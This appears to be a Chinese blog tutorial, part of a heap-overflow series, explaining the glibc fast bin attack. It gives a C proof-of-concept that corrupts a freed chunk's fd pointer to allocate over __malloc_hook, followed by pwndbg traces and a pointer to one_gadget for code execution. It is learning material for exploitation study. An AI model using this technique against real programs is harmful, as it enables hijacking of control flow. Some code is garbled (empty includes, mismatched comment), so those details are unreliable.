判断unsigned long long乘法溢出_二进制安全之堆溢出(系列)—— fast bin attack

本文是二进制安全之堆溢出系列的第八章节,主要介绍fast bin attack。

原理

19f5dc3538d491b67c9a02bab2ebcad2.png
  • 从fastbin中分配堆块的检测机制
if (__builtin_expect (victim_idx != idx, 0)) //检查当前所属idx的size和target的size是否匹配 malloc_printerr ("malloc(): memory corruption (fast)"); do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s){INTERNAL_SIZE_T sz = chunksize_nomask (p) & ~(PREV_INUSE | NON_MAIN_ARENA);​if (!chunk_is_mmapped (p)) {   assert (av == arena_for_chunk (p));   if (chunk_main_arena (p))     assert (av == &main_arena);   else     assert (av != &main_arena); }do_check_inuse_chunk (av, p);do_check_inuse_chunk检查previnuse是否为1chunk_is_mmapped检查是否是mmap位是否为1,当mmap为1的时候可以跳过此检查

Demo

#include #include #include #include int main(){    int size = 0x60;    char *p = malloc(size);    long __malloc_hook_addr = 0x7ffff7dd1b10;    printf("%p",p);    sleep(0);    free(p);    sleep(0);    printf("%p",p);    *(long*)p =  __malloc_hook_addr - 0x23;    sleep(0);    char *q = malloc(size);    printf("%p",q);    sleep(0);    char* r = malloc(size);    printf("%p",r);    sleep(0);    strcpy(r,"aaajunkjunkjunkbbbbcccc"); ///cccc会替换__malloc_hook的内容    malloc(0);    sleep(0);    return 0;}

__malloc_hook_addr – 0×23的原因

pwndbg> x/20gz 0x7ffff7dd1b10-0x300x7ffff7dd1ae0 <_io_wide_data_0>:   0x0000000000000000  0x00000000000000000x7ffff7dd1af0 <_io_wide_data_0>:   0x00007ffff7dd0260  0x00000000000000000x7ffff7dd1b00 <__memalign_hook>:   0x00007ffff7a92e20  0x00007ffff7a92a000x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000-----__malloc_hook_addr - 0x23刚好到0x0000**7f**fff7dd0260-----pwndbg> x/20gz 0x7ffff7dd1b10-0x230x7ffff7dd1aed <_io_wide_data_0>:   0xfff7dd0260000000  0x000000000000007f得到一个可以伪造size为0x7f的地址这时把`0x7ffff7dd1aed作为target_addr,可以绕过之前fastbin的第一项检测然后将这块地址分配出来,然后构造padding,覆盖__malloc_hook的内容

0x7f的原因

为了满足fastbin分配的第一项size的检查,一般选择的是6号索引,即malloc(0×60)由于chunk_is_mmapped检测的原因,不能用0×71。0x7f作为内存中地址的高位,而libc的地址就是0x7f开始的,这为fastbin attack提供了便利。unsorted bin attack可以在unlink的时候将main_arena的地址赋给bk,也可以方便的得到0x7f

调试

  • free p 之后的bins链和size位
0x70: 0x602000 ◂— 0x00x602000:0x00000000000000000x0000000000000071

写入target - 0x23的地址

0x602000:   0x0000000000000000  0x00000000000000710x602010:   0x00007ffff7dd1aed  0x0000000000000000​0x7ffff7dd1aed <_io_wide_data_0>:   0xfff7dd0260000000  0x000000000000007f此时的bins链0x70: 0x602000 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000因为p已经被free,我们再修改它的fd,就会自动链接上target

malloc q 之后的bins链和heap

0x602000 FASTBIN {prev_size = 0, size = 113, fd = 0x7ffff7dd1aed <_io_wide_data_0>, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x70: 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000此时我们的目标chunk还在bins链中,需要再一次malloc出去。

malloc r之后的bins链和heap

0x602000 FASTBIN {prev_size = 0, size = 113, fd = 0x7ffff7dd1aed <_io_wide_data_0>, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x70: 0xfff7a92e20000000此时,0x7ffff7dd1aed这个堆块已经被malloc出去了,即作为r的堆块此时,__malloc_hook的内容pwndbg> x/20gz 0x00007ffff7dd1aed+0x230x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000

strcpy r之后__malloc_hook被覆盖为”cccc”

pwndbg> x/20gz 0x00007ffff7dd1aed+0x23  //精准填充0x7ffff7dd1b10 <__malloc_hook>:0x00000000626262620x0000000000000000利用的时候将cccc,替换为onegadget的地址one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
b7d97fc4b2579982a81b5515f07e9713.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值